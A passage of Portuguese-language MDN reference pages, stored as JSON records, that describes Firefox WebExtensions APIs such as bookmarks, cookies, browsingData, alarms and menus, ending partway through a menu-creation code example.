através do atributo `src`.\n\nPara entender mais, veja a documentação sobre chaves no manifest.json em recursos acessíveis na web."}
{"title":"tema - Mozilla","text":"tema\n====\n\nPermite que extensões do navegador alterem seu tema.\n\nPara usar esta API, uma extensão deve solicitar a permission (permissão) de \"tema\" em seu arquivo manifest.json (en-US).\n\n**Nota:** Quando configuramos um arquivo de plano de fundo, devemos declarar a permission (permissão) de \"tema\" e, assim sendo, nós não poderemos usar a função theme (de tema), se esta for incompatível.\n\nTipo\n----\n\n`theme.Theme` (en-US)\n\nRepresenta o conteúdo de um tema.\n\nFunções\n-------\n\n`theme.getCurrent()` (en-US)\n\nObtém o tema atual do navegador.\n\n`theme.update()` (en-US)\n\nAtualiza o tema do navegador.\n\n`theme.reset()` (en-US)\n\nRemove quaisquer atualizações de temas feitas em uma chamada para `theme.update()` (en-US).\n\nEvento\n------\n\n`theme.onUpdated` (en-US)\n\nDisparada quando o navegador tiver sido alterado.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nExample extensions\n------------------\n\n* dynamic-theme\n* private-browsing-theme\n* theme-integrated-sidebar"}
{"title":"browserAction - Mozilla","text":"browserAction\n=============\n\nAdiciona um botão a barra de ferramentas do navegador.\n\nUma browser action (en-US) é um botão na barra de ferramentas do navegador.\n\nVocê pode associar um popup junto ao botão. O popup é especificado usando HTML, CSS e JavaScript, apenas como uma página web normal. O JavaScript rodando no popup tem o mesmo acesso a API WebExtension completa, assim como seus scripts em backend, mas seu contexto global é o popup, não a página exibida no navegador atualmente. Para afetar páginas web você precisa comunicá-las via messages.\n\nSe você especificar um popup ele está exibido — e o conteúdo será carregado — quando o usuário clicar no ícone. Você não especificar um popup, quando o usuário clicar no ícone um evento será disparado para sua extensão.\n\nVocê pode definir muitas ações de propriedades do navegador de modo declarativo usando a chave `browser_action` no arquivo manifest.json.\n\nCom a API `browserAction você pode`:\n\n* Usar `browserAction.onClicked` (en-US) para escutar por cliques no ícone.\n* Atribuir e obter as propriedades do ícone — icone, titulo, popup, e assim por diante. Você pode obter e atribui-los globalmente para todas as abas, ou para uma aba específica informando o ID como um argumento adicional.\nTipos\n-----\n\n`browserAction.ColorArray` (en-US)\n\nUm array de quatro números inteiros entre 0-55 definido uma cor RGB.\n\n`browserAction.ImageDataType` (en-US)\n\nDados do pixel de uma imagem. Deve ser um objeto `ImageData` (en-US) (por exemplo, de um elemento `<canvas>`).\n\nFunções\n-------\n\n`browserAction.setTitle()` (en-US)\n\nAtribui ação de título do navegador. Ele será exibido em um tooltip.\n\n`browserAction.getTitle()` (en-US)\n\nObtém a ação de título do navegador.\n\n`browserAction.setIcon()` (en-US)\n\nAtribui a ação de ícone ao navegador.\n\n`browserAction.setPopup()` (en-US)\n\nAtribui o documento HTML que será aberto como um popup quando o usuário clicar na ação de ícone do navegador.\n\n`browserAction.getPopup()` (en-US)\n\nObtém o documento HTML atribuido como uma ação de popup do navegador.\n\n`browserAction.openPopup()` (en-US)\n\nAbre a ação popup do navegador.\n\n`browserAction.setBadgeText()` (en-US)\n\nAtribui a ação do texto distintivo do navegador. O emblema é exibido acima do ícone.\n\n`browserAction.getBadgeText()` (en-US)\n\nObtém o texto do emblema do navegador.\n\n`browserAction.setBadgeBackgroundColor()` (en-US)\n\nAtribui a cor de fundo do emblema.\n\n`browserAction.getBadgeBackgroundColor()` (en-US)\n\nObtém a cor de fundo do emblema.\n\n`browserAction.enable()` (en-US)\n\nHabilita a ação do navegador para uma aba. Por padrão, ações são habilitadas para todas as abas.\n\n`browserAction.disable()` (en-US)\n\nDesabilita a ação para uma aba do navegador, significando que ela não pode ser clicada quando aquela aba estiver ativa.\n\n`browserAction.isEnabled()` (en-US)\n\nVerifica se a ação do navegador está ou não habilitada.\n\nEventos\n-------\n\n`browserAction.onClicked` (en-US)\n\nDisparado quando uma ação do ícone do navegador é clicada. Este evento não será disparado quando a ação do navegador tiver um popup.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nExample extensions\n------------------\n\n* bookmark-it\n* favourite-colour\n* find-across-tabs\n* forget-it\n* google-userinfo\n* native-messaging\n* open-my-page-button\n* permissions\n* runtime-examples\n* store-collected-images\n* tabs-tabs-tabs\n\n**Nota:** **Agradecimentos**Esta API é baseada na API `chrome.browserAction` do Chromium. Este documento é derivado do `browser_action.json` no código do Chromium.Os dados de compatibilidade do Microsoft Edge são fornecidos Microsoft Corporation e estão aqui inclusos sob a Creative Commons Attribution 3.0 United States License."}
{"title":"contextualIdentities - Mozilla","text":"contextualIdentities\n====================\n\nTrabalhar com identidades contextuais: listar, criar, remover e atualizar identidades contextuais.\n\n\"Identidades conceituais\", também conhecido como \"containers\", consiste em uma funcionalidade do navegador cuja premissa é que usuários assumem multiplas identidades quando navegam na internet, e desejam manter alguma separação entre tais identidades. Por exemplo, um usuário pode considerar sua \"identidade de trabalho\" separada de sua \"identidade pessoal\", e não desejar compartilhar cookies entre esses dois contextos.\n\nCom a funcionalidade de identidades contextuais, cada uma possui um nome, cor e um ícone. Novas abas são atribuidas a uma identidade, e o nome, ícone e cor aparecerão na barra de endereço. Internamente, cada identidade guarda seu próprio cookie e não os compartilha entre outras abas.\n\n![](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/API/contextualIdentities/containers.png)Identidade contextual é uma funcionalidade experimental no Firefox e está habilitado apenas no Firefox Nightly. Para habilitá-lo em outras versões do Firefox, atribua true as seguintes preferências: `privacy.userContext.enabled`. Observe que embora identidades contextuais estejam disponíveis no Firefox para Android, não há uma interface gráfica funcionando com ela para esta versão de navegador.\n\nAntes do Firefox 57, a API `contextualIdentities` é disponível apenas se a funcionalidade de identidade contextual está habilitada por si mesma. Se uma extensão tentou usar a API `contextualIdentities` API sem a funcionalidade estar habilitada, então as chamadas do método deveria resolver suas promises com `false`.\n\nPara o Firefox 57 em diante, se uma extensão que usa a API `contextualIdentities` está instalada, então a funcionalidade de identidade contextual será habilitada automaticamente. Observe que embora ainda é possível para o usuário desabilitar a funcionalidade usando a preferência \"privacy.userContext.enabled\". Isse isso ocorrer, então a chamada do método `contextualIdentities` rejeitará suas promises com uma mensagem de erro.\n\nPara mais informações sobre identidade contextual no Firefox veja este guia.\n\nIdentidades contextuais atualmente não são suportadas em outros navegadores.\n\nPara usar esta API você precisará incluir a permissão \"contextualIdentities\" em seu arquivo manifest.json (en-US).\n\nTipos\n-----\n\n`contextualIdentities.ContextualIdentity` (en-US)\n\nContém informações sobre uma identidade contextual.\n\nFunções\n-------\n\n`contextualIdentities.create()` (en-US)\n\nCria uma nova identidade contextual.\n\n`contextualIdentities.get()` (en-US)\n\nRecupera uma única identidade contextual, dado o ID do cookie que armazena.\n\n`contextualIdentities.query()` (en-US)\n\nRecupera todas identidades contextuais, ou todas com um nome em particular.\n\n`contextualIdentities.update()` (en-US)\n\nAtualiza as propriedades existentes de uma identidade contextual.\n\n`contextualIdentities.remove()` (en-US)\n\nExclui uma identidade contextual.\n\nEventos\n-------\n\n`contextualIdentities.onCreated` (en-US)\n\nDisparado quando uma identidade contextual é criada.\n\n`contextualIdentities.onRemoved` (en-US)\n\nDisparado quando uma identidade contextual é removida.\n\n`contextualIdentities.onUpdated` (en-US)\n\nDisparado quando uma ou mais propriedades de uma identidade contextual é atualizada.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nExample extensions\n------------------\n\n* contextual-identities"}
{"title":"contentScripts - Mozilla","text":"contentScripts\n==============\n\nUse esta API para registrar o conteúdo de scripts. Registrando um conteúdo de scripts instrui o navegador para inserir conteúdo de script fornecido em páginas que batem com um padrão de URL fornecida.\n\nEsta API é muito similar a chave do `\"content_scripts\"` (en-US) no manifest.json key, exceto pelo `\"content_scripts\"`, o conjunto de conteúdo de scripts a padrões associados são fixados no momento da instalação. Com a API `contentScripts`, uma extensão pode registrar e desregistrar scripts em tempo de execução.\n\nPara usar a API, invoque `contentScripts.register()` (en-US) passando um objeto definido para registrar os scripts, os padrões de URL e outras opções. Ele retorna uma `Promise` que é resolvida com o objeto `contentScripts.RegisteredContentScript` (en-US).\n\nO objeto `RegisteredContentScript` represente os scripts que foram registrados com a chamada `register()`. Ele define um método `unregister()` que você pode usar para desregistrar o conteúdo de scripts. O conteúdo de scripts também são desregistrados automaticamente quando a página que os criou é destruida. Por exemplo, se estão registrados para uma página em segundo plano serão desregistrados automaticamente quando esta página for destruida, e se eles estão registrados para uma barra lateral ou popup, também serão desregistrados automaticamente quando essas forem fechadas.\n\nNão há permissão para a API `contentScripts`, mas uma extensão pode ter a permissão de host apropriada para algum padrão passado para o `register()`.\n\nTipos\n-----\n\n`contentScripts.RegisteredContentScript` (en-US)\n\nUm objeto deste tipo é retornado pela função `contentScripts.register()` (en-US) . Ele representa o conteúdo dos scripts que foram registrados por aquela chamada, e podem ser usados para desregistrar o conteúdo do script.\n\nFunções\n-------\n\n`contentScripts.register()` (en-US)\n\nRegistra o conteúdo dos scripts fornecidos.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nExample extensions\n------------------\n\n* content-script-register"}
{"title":"bookmarks - Mozilla","text":"bookmarks\n=========\n\nA API WebExtensions `bookmarks` permite uma extensão interagir e manipular o sistema de favoritos do navegador. Você pode pode usá-lo para favoritar páginas, obter favoritos existentes e, editar, remover ou organizar os favoritos.\n\nPara utilizar esta API, uma extensão deve ser requisitada para o \"bookmarks\" permission em seu arquivo `manifest.json` (en-US) .\n\nTipos\n-----\n\n`bookmarks.BookmarkTreeNode` (en-US)\n\nRepresenta um favorito ou um diretório de favoritos como árvore.\n\n`bookmarks.BookmarkTreeNodeType` (en-US)\n\nO enum `String` o qual descreve se um nó na árvore é ou não um favorito, uma pasta ou um separador.\n\n`bookmarks.BookmarkTreeNodeUnmodifiable` (en-US)\n\nO enum `String` o qual especifica porque um favorito ou uma pasta não pode ser modificado.\n\n`bookmarks.CreateDetails` (en-US)\n\nContém informações ao qual é passada para a função `bookmarks.create()` (en-US) quando um novo favorito é criado.\n\nFunções\n-------\n\n`bookmarks.create()` (en-US)\n\nCria um favorito ou uma pasta.\n\n`bookmarks.get()` (en-US)\n\nRetrieves one or more `BookmarkTreeNode` (en-US)s, given a bookmark's ID or an array of bookmark IDs.\n\n`bookmarks.getChildren()` (en-US)\n\nRecupera os filhos especificados `BookmarkTreeNode` (en-US).\n\n`bookmarks.getRecent()` (en-US)\n\nRecupera um número requisitado de favoritos adicionados recentemente.\n\n`bookmarks.getSubTree()` (en-US)\n\nRecupera uma parte da árvore de favoritos, iniciando por um nó previamente especificado.\n\n`bookmarks.getTree()` (en-US)\n\nRecupera a árvore de favoritos inteira em um array de objetos `BookmarkTreeNode` (en-US).\n\n`bookmarks.move()` (en-US)\n\nMove o especificado `BookmarkTreeNode` (en-US) para um novo local dentro da árvore de favoritos.\n\n`bookmarks.remove()` (en-US)\n\nRemove um favorito ou uma pasta de favoritos vazia dado o ID do nó.\n\n`bookmarks.removeTree()` (en-US)\n\nRemove recursivamente uma pasta de favoritos; isto é; dado o ID do nó da pasta e todos seus descendentes.\n\n`bookmarks.search()` (en-US)\n\nProcura por `BookmarkTreeNode` (en-US)s que batam com o conjunto de critérios especificados.\n\n`bookmarks.update()` (en-US)\n\nAtualiza o título e/ou autor do favorito de uma URL, ou o nome de uma pasta de favoritos dado o ID do favorito.\n\nEventos\n-------\n\n`bookmarks.onCreated` (en-US)\n\nDisparado quando um favorito ou uma pasta é criado.\n\n`bookmarks.onRemoved` (en-US)\n\nDisparado quando um favorito ou uma pasta é removido. Quando uma pasta é removida recursivamente, uma simples notificação é disparada para o diretório, e nenhum para seu conteúdo.\n\n`bookmarks.onChanged` (en-US)\n\nDisparado quando um favorito ou pasta é modificado. Atualmente, somente mudanças no `title` e `url` o disparam.\n\n`bookmarks.onMoved` (en-US)\n\nDisparado quando um favorito ou pasta é movido para uma pasta pai diferente ou para um novo local dentro deste pasta.\n\n`bookmarks.onChildrenReordered` (en-US)\n\nFired when the user has sorted the children of a folder in the browser's UI. This is not called as a result of a `move()` (en-US).\n\n`bookmarks.onImportBegan` (en-US)\n\nDisparado quando uma sessão de importação de favoritos começa. Custosos observers `bookmarks.onCreated` (en-US) atualizam até o `bookmarks.onImportEnded` (en-US) ser disparado. Observers deveriam ainda manipular outras notificações imediatamente.\n\n`bookmarks.onImportEnded` (en-US)\n\nDisparado quando uma sessão de importação de favoritos é finalizada.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nExample extensions\n------------------\n\n* bookmark-it\n\n**Nota:** **Agradecimentos**Esta API é baseada na API Chromium `chrome.bookmarks` . Esta documentação é derivada do `bookmarks.json` no código do Chromium.Os dados de compatibilidade do Microsoft Edge são fornecidos pela Microsoft Corporation e aqui estão sob a Creative Commons Attribution 3.0 United States License."}
{"title":"clipboard - Mozilla","text":"clipboard\n=========\n\nA API de área de transferência habilita uma extensão para copiar itens para a área de transferência do sistema. Atualmente a API suporta apenas a cópia de imagens, mas é pretendido suportar a cópia de texto e HTML no futuro.\n\nEsta API WebExtension existe primariamente por causa que o padrão da API web para área de transferência não suporta escrita de imagens. Se e quando esta funcionalidade for adicionada na API wb padrão, esta API pode ser depreciada.\n\nLeitura da área de transfência não é suportada por esta API, devido esta já poder ser lida usando as APIs padrão da plataforma web. Veja interagindo com a área de transferência.\n\nEsta API é baseada na API `clipboard` do Chrome's API, mas esta API está disponível somente para o Chrome.\n\nPara utilizar esta API voce precisa ter a permissão \"clipboardWrite\".\n\nFunções\n-------\n\n`clipboard.setImageData()` (en-US)\n\nCopia uma imagem para a área de transferência.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n**Nota:** **Agradecimentos**Esta API é baseada na API Chromium `chrome.clipboard`."}
{"title":"cookies - Mozilla","text":"cookies\n=======\n\nHabilita extensões a obter e atribuir cookies, e ser notificado quando eles mudam.\n\nPara usar esta API, você precisa incluir a API permission \"cookies\" em seu arquivo manifest.json (en-US), bem como a host permissions para os sites cujos cookies você precisa acessar. Veja cookie Permissions.\n\nPermissões\n----------\n\nPara usar esta API, uma extensão especificar a \"cookies\" API permission em seu arquivo manifest, junto com a host permissions para qualquer site que deseja acessar os cookies. O add-on pode ler ou escrever qualquer cookie no qual poderia ser lido ou escrito pela URL correspondente nas permissões de host, por exemplo:\n\n`http://*.example.com/`\n\nUma extensão com esta permissão de host pode:\n\n* Ler um cookie inseguro para `www.example.com`, com qualquer caminho.\n* Escrever um cookie seguro ou inseguro para `www.example.com`, com qualquer caminho.\n\n*não* pode:\n\n* Ler um cookie seguro de `www.example.com`.\n\n`http://www.example.com/`\n\nUma extensão com esta permissão de host pode:\n\n* Ler um cookie não seguro para `www.example.com`, com qualquer caminho.\n* Ler um cookie não seguro para `.example.com`, com qualquer caminho.\n* Escrever um cookie seguro ou não seguro para `www.example.com` com qualquer caminho.\n* Escrever um cookie seguro ou não seguro para `.example.com` com qualquer caminho.\n\n*não* pode:\n\n* Ler ou escrever um cookie para `foo.example.com`.\n* Ler ou escrever um cookie para `foo.www.example.com`.\n\n`*://*.example.com/`\n\nUma extensão com esta permissão de host pode:\n\n* Ler ou escrever um cookie seguro ou inseguro para `www.example.com` com qualquer caminho.\n\nIsolamento de primera parte\n---------------------------\n\nCookies de terceiros são aquleles enviados por sites em que você está num dado momento, por exemplo:\n\n1. Você acessa bbc.com. Ele contém uma publicidade do tracker.com que atribui um cookie associado com o domínio \"tracker.com\".\n2. Você acessa cnn.com. Ele também contém uma publicidade do tracker.com que atribui um cookie associado ao domínio \"tracker.com\".\n3. Eventualmente ambos os cookies podem ser enviados para tracker.com. Quem então pode descobrir que o mesmo usuário visitou ambos os sites.\n\nQuando um isolamento de primeira parte está ativo, cookies são ainda qualificados pelo domínio da página original visitada pelo usuário (essencialmente, o domínio exibe o usuário na barra da URL, também conhecido como \"domínio de primeira parte). Isto significa que não é possivel para um rastreador correlacionar o cookie da bbc.com com o cookie da cnn.com, então o rastreador não pode monitorar um simples usuários através de ambos os sites.\n\nIsolamento de primera parte pode ser habilitado diretamente pelo usuário ajustando a configuração do navegador , e pode ser atribuia do extensões usando a configuração `firstPartyIsolate` atribuida a API `privacy` (en-US). Observe que este isolamento de primeira parte está habilitado por padrão no navegador Tor.\n\nNa API `cookies`, o domínio de primeira parte é representado usando o atributo `firstPartyDomain`. Todos os cookies atribuidos enquanto o isolamento de primeira parte está habilitado terá este atributo atribuito para o domínio da página original. No exemplo acima, deveria ser \"bbc.com\" para um cookie e \"cnn.com\" para outro. Todos os cookies atribuidos pelos websites enquanto o isolamento de primeira parte estiver desabilitado terão sua propriedade atribuida a uma string vazia.\n\nAs APIs `cookies.get()` (en-US), `cookies.getAll()` (en-US), `cookies.set()` (en-US) and `cookies.remove()` (en-US) aceitam a opção `firstPartyDomain`.\n\nQuando o isolamento de primeira parte está habilitado, você deve informar esta opção ou a chamada da API irá falhar e retornar uma promise rejeitada. For `get()`, `set()`, and `remove()` you must pass a string value. Para um `getAll()`, você pode passar `null`, e irá obter todos os cookies que possuem ou não um valor não vazio para o `firstPartyDomain`.\n\nQuando o isolamento de primeira parte está desabilitado, o parâmetro `firstPartyDomain` é opcional por padrão é uma string vazia. Uma string não vazia pode ser utilizada para recuperar ou podificar cookies de isolamento de primeira parte. Da mesma forma, passando `null` como `firstPartyDomain` para o `getAll()` retornará todos os cookies.\n\nTipos\n-----\n\n`cookies.Cookie` (en-US)\n\nRepresenta a informação sobre um cookie HTTP.\n\n`cookies.CookieStore` (en-US)\n\nRepresenta um cookie armazenado no navegador.\n\n`cookies.OnChangedCause` (en-US)\n\nRepresenta o motivo da mudança de um cookie.\n\nMétodos\n-------\n\n`cookies.get()` (en-US)\n\nRecupera informações sobre um único cookie.\n\n`cookies.getAll()` (en-US)\n\nRecupera todos os cookies com o padrão de um conjunto de filtros fornecido.\n\n`cookies.set()` (en-US)\n\nAtribui um cookie com um dado fornecido; pode sobrescrever cookies equivalentes caso existam.\n\n`cookies.remove()` (en-US)\n\nRemove um cookie pelo nome.\n\n`cookies.getAllCookieStores()` (en-US)\n\nLista todos os cookies armazenados.\n\nManipulador de eventos\n----------------------\n\n`cookies.onChanged` (en-US)\n\nDisparado quando um cookie é criado ou removido.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nExample extensions\n------------------\n\n* cookie-bg-picker\n* list-cookies\n\n**Nota:** **Agradecimentos**Esta API é baseada na API `chrome.cookies` do Chromium. Esta documentação é derivada do `cookies.json` no código do Chromium."}
{"title":"browsingData - Mozilla","text":"browsingData\n============\n\nHabilita extensões a limpar os dados que estão acumulados enquando o usuário navega.\n\nNa API `browsingData`, os dados de navegação são divididos em tipos:\n\n* cache do browser\n* cookies\n* downloads\n* histórico\n* armazenamento local\n* dados de plugin\n* dados de formulários salvos\n* senhas salvas\n\nVocê pode usar a função `browsingData.remove()` para remover qualquer combinação desses tipos. Há também funções específicas para remover cada tipo de data em particular, como por exemplo `removePasswords()` (en-US), `removeHistory()` (en-US) e assim por diante.\n\nTodas funções `browsingData.remove[X]()` pegam o objeto `browsingData.RemovalOptions` (en-US) que você usa para controlar outros dois aspectos da remoção de dados:\n\n* quão antigos são os dados para a remoção\n* se é para remover dados de páginas normais, ou também para hospedar aplicativos web ou add-ons. Observe que esta opção ainda não é suportada no Firefox.\n\nFinalmente, a API `browsingData.settings()` (en-US) fornece uma função que retorna o atual valor das configurações da funcionalidade \"Limpar Histórico\".\n\nPara usar esta API você deve ter a permissão de API \"browsingData\".\n\nTipos\n-----\n\n`browsingData.DataTypeSet` (en-US)\n\nObjeto usado para especificar o tipo de dado para remoção: por exemplo, histórico, downloads, senhas e assim por diante.\n\n`browsingData.RemovalOptions` (en-US)\n\nObjeto usado para especificar o quanto tempo para remoção de dados, e se remover dados adicionados em uma navegação web normal, por aplicativos hospedados ou por add-ons.\n\nMethods\n-------\n\n`browsingData.remove()`\n\nRemove os dados de navegação especificado pelo seu tipo.\n\n`browsingData.removeCache()`\n\nLimpa o cache do navegador.\n\n`browsingData.removeCookies()`\n\nRemove os cookies.\n\n`browsingData.removeDownloads()`\n\nRemove a lista de arquivos baixados.\n\n`browsingData.removeFormData()`\n\nLimpa os dados de um formulário salvo.\n\n`browsingData.removeHistory()` (en-US)\n\nLimpa o histórico do navegador.\n\n`browsingData.removeLocalStorage()` (en-US)\n\nLimpa qualquer local storage criado por websites.\n\n`browsingData.removePasswords()` (en-US)\n\nLimpa passwords salvos.\n\n`browsingData.removePluginData()` (en-US)\n\nLimpa os dados associados com plugins.\n\n`browsingData.settings()` (en-US)\n\nObtém o valor atual de configuração da funcionalidade \"Limpar Histórico\" do navegador.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nExample extensions\n------------------\n\n* forget-it\n\n**Nota:** **Agradecimentos**Esta API é baseada na API `chrome.browsingData` do Chromium.Os dados de compatibilidade do Microsoft Edge compatibility são fornecidos pela Microsoft Corporation e aqui estão inclusos sob a Creative Commons Attribution 3.0 United States License."}
{"title":"browserSettings - Mozilla","text":"browserSettings\n===============\n\nHabilita uma extensão para modificar certas configurações globais do navegador. Cada propriedade desta API é um objeto `BrowserSetting` (en-US), provendo a capacidade de modificar uma configuração particular.Devido estas serem configurações globais, é possível haver conflito entre extensões. Veja a documentação `BrowserSetting.set()` para detalhes de como ligar com conflitos .\nPara usar esta API você precisa ter a permissão \"browserSettings\".\n\nPropriedades\n------------\n\n`browserSettings.allowPopupsForUserEvents` (en-US)\n\nDetermina se o código em execução nas páginas podem mostrar popups em resposta a eventos do usuário.\n\n`browserSettings.cacheEnabled` (en-US)\n\nDetermina se o cache do navegador está ou não habilitado.\n\n`browserSettings.closeTabsByDoubleClick` (en-US)\n\nDetermina se a aba selecionada pode ser fechada com um duplo click.\n\n`browserSettings.contextMenuShowEvent` (en-US)\n\nDetermina o evento do mouse que dispara um menu de contexto de popup.\n\n`browserSettings.homepageOverride` (en-US)\n\nLê o valor da página inicial do navegador.\n\n`browserSettings.imageAnimationBehavior` (en-US)\n\nDetermina como o navegador trata imagens animadas.\n\n`browserSettings.newTabPageOverride` (en-US)\n\nLê o valor da nova aba do navegador.\n\n`browserSettings.newTabPosition` (en-US)\n\nControla a posição de abas recentemente abertas relativa as abas já presentes.\n\n`browserSettings.openBookmarksInNewTabs` (en-US)\n\nDetermina se os favoritos são abertos na aba atual ou em uma nova aba.\n\n`browserSettings.openSearchResultsInNewTabs` (en-US)\n\nDetermina se a busca de resultados é aberta na aba atual ou em uma nova.\n\n`browserSettings.openUrlbarResultsInNewTabs` (en-US)\n\nDetermina se as sugestões do autocompletar da barra de endereços são abertas na aba atual ou em uma nova.\n\n`browserSettings.overrideDocumentColors` (en-US)\n\nControla se as cores de escolha do usuário sobrescreverão as cores das páginas.\n\n`browserSettings.useDocumentFonts` (en-US)\n\nControle se o navegador usará as fontes especificadas pela página web ou somente fontes embutidas.\n\n`browserSettings.webNotificationsDisabled` (en-US)\n\nPrevine que os sites exibam notificações usando a API Web `Notification`.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"commands - Mozilla","text":"commands\n========\n\nEscuta por usuário executando comandos que você registrou usando o `commands` manifest.json key.\n\nTipos\n-----\n\n`commands.Command` (en-US)\n\nObjeto representando um comando. Contém a informação especificada no comando `commands` manifest.json key.\n\nFunções\n-------\n\n`commands.getAll` (en-US)\n\nObtém todos os comandos registrados para esta extensão.\n\n`commands.reset` (en-US)\n\nReseta a descrição do comando dado e atalho para os valores dados na chave do manifesto.\n\n`commands.update` (en-US)\n\nModifica a descrição ou atalho dado um comando.\n\nEventos\n-------\n\n`commands.onCommand` (en-US)\n\nDisparado quando um comando é executado usando seu atalho associado ao teclado.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nExample extensions\n------------------\n\n* commands\n\n**Nota:** **Agradecimentos**Esta API é baseada na API `chrome.commands` do Chromium.Os dados de compatibilidade do Microsoft Edge são fornecidos pela Microsoft Corporation e estão aqui inclusos sob a Creative Commons Attribution 3.0 United States License."}
{"title":"alarms - Mozilla","text":"alarms\n======\n\nExecutar um código agendado para um horário específico no futuro. Isto é como o `setTimeout()` (en-US) e `setInterval()` (en-US), exceto essas funções não funcionam no segundo plano com páginas carregadas sob demanda.\n\nPara usar estas API você precisa ter a \"alarms\" permission.\n\nTipos\n-----\n\n`alarms.Alarm` (en-US)\n\nInformações sobre um alarme em particular.\n\nFunções\n-------\n\n`alarms.create()` (en-US)\n\nCria um alarme.\n\n`alarms.get()` (en-US)\n\nObtém um alarme específico dado seu nome.\n\n`alarms.getAll()` (en-US)\n\nObtém todos os alarmes agendados.\n\n`alarms.clear()` (en-US)\n\nLimpa um alarme específico dado seu nome.\n\n`alarms.clearAll()` (en-US)\n\nLimpa todos os alarmes agendados.\n\nEventos\n-------\n\n`alarms.onAlarm` (en-US)\n\nDisparado quando o alarme acaba.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nExample extensions\n------------------\n\n* chill-out\n* dynamic-theme\n\n**Nota:** **Agradecimentos**Esta API é baseada na API Chromium's `chrome.alarms` .Dados de compatibilidade do Microsoft Edge fornecidos pela Microsoft Corporation aqui inclusos sob a Creative Commons Attribution 3.0 United States License."}
{"title":"menus - Mozilla","text":"menus\n=====\n\nAdicione itens ao sistema de menu do navegador.\n\nEsta API é modelada sobre a API \"contextMenus\" do Chrome, que permite que extensões do Chrome adicione itens para o contexto de menu do navegador. A API `browser.menus` adiciona alguns recursos à API do Chrome.\n\nAntes do Firefox 55, esta API foi também nomeada, originalmente, de `contextMenus`, e esse nome era mantido como um alias; portanto, você pode usar o `contextMenus` para escrever um código que funcione no Firefox e também em outros navegadores.\n\nPara usar essa API, você precisa da permissão de `menus`. Você também pode usar o alias `contextMenus` em vez de `menus`, mas se usar, a API deve ser acessada como `browser.contextMenus`.\n\nExceto para `menus.getTargetElement()` (en-US), essa API não pode ser usada de scripts de conteúdo (content scripts).\n\nCriando itens de menu\n---------------------\n\nPara criar um item de menu, chamme o método `menus.create()` (en-US). Você passa esse método como um objeto contendo opções para o item, incluindo o ID do item, o tipo do item, e os contextos no qual ele deve ser mostrado.\n\nEscute os cliques no seu item de menu adicionando um ouvinte para o evento `menus.onClicked` (en-US). Este ouvinte será passado\n\nListen for clicks on your menu item by adding a listener to the `menus.onClicked` (en-US) event. Este ouvinte receberá um objeto `menus.OnClickData` (en-US) que contém os detalhes do evento.\n\nVocê pode criar quatro tipos diferentes de itens de menu, com base no valor da propriedade `type` que você fornece nas opções para `create()`:\n\n* \"normal\": um item de menu que apenas mostra um rótulo.\n* \"checkbox\": um item de menu que representa um estado binário. Ele mostra uma marca de verificação próxima ao rótulo. Clicar no item ativa esta marca. O ouvinte de clique receberá duas propriedades extras: \"checked\", indicando que o item foi marcado agora, e \"wasChecked\", indicando que o item foi marcado antes do evento do clique.\n* \"radio\": um item de menu que representa um de um grupo de escolhas. Como uma marca de verificação, isso também mostra uma marca de verificação próxima ao rótulo, e seu ouvinte de clique receberá \"checked\" e \"wasChecked\". No entanto, se você criar mais de um item de rádio, os itens funcionarão como um grupo de itens de rádio: apenas um item no grupo poderá ser verificado e clicar em um item o tornará o item marcado.\n* \"separator\": uma linha separando um grupo de itens.\n\nSe você criou mais de um item de menu de contexto ou mais de um item de menu de ferramentas, os itens serão colocados em um submenu. O pai do submenu será identificado com o nome da extensão. Por exemplo, aqui está uma extensão chamada \"Demonstração de menu\" (\"Menu demo\"), que adicionou dois itens de menu de contexto:\n\n![](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/API/menus/menus-1.png)\n\nÍcones\n------\n\nSe você especificou ícones para sua extensão usando a chave \"icons\" do manifest, o item de menu exibirá o ícone especificado ao lado do rótulo. O navegador tentará escolher um ícone de 16x16 pixels para uma exibição normal ou um ícone de 32x32 pixels para uma exibição de alta densidade:\n\n![](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/API/menus/menus-2.png)\n\nApenas para itens dentro de um submenu, você pode especificar ícones customizados passando a opção `icons` para o `menus.create()` (en-US):\n\n![](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/API/menus/menus-3.png)\n\nExemplo\n-------\n\nAqui está um menu de contexto contendo quatro itens: um item normal, dois itens de rádio com separadores em cada lado, e uma marca de seleção. Os itens de rádio receberam ícones customizados.\n\n![](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/API/menus/menus-4.png)Você pode criar um submenu como este usando o código abaixo:\n\n\n```js\nbrowser.menus.create(\n  {\n    id: \"remove-me\",\n    title: browser.i18n.getMessage(\"menuItemRemoveMe\"),\n    contexts: [\"all\"],\n  },\n  onCreated,\n);\n\nbrowser.menus.create(\n  {\n    id: \"separator-1\",\n    type: \"separator\",\n    contexts: [\"all\"],\n  },\n  onCreated,\n);\n\nbrowser.menus.create(\n  {\n    id: \"greenify\",\n    type: \"radio\",\n    title: browser.i18n.getMessage(\"menuItemGreenify\"),\n    contexts: [\"all\"],\n    checked: true,\n    icons: {\n      16: \"icons/paint-green-16.png\",\n      32: \"icons/paint-green-32.png\",\n    },\n  },\n  onCreated,\n);\n\nbrowser.menus.create(\n 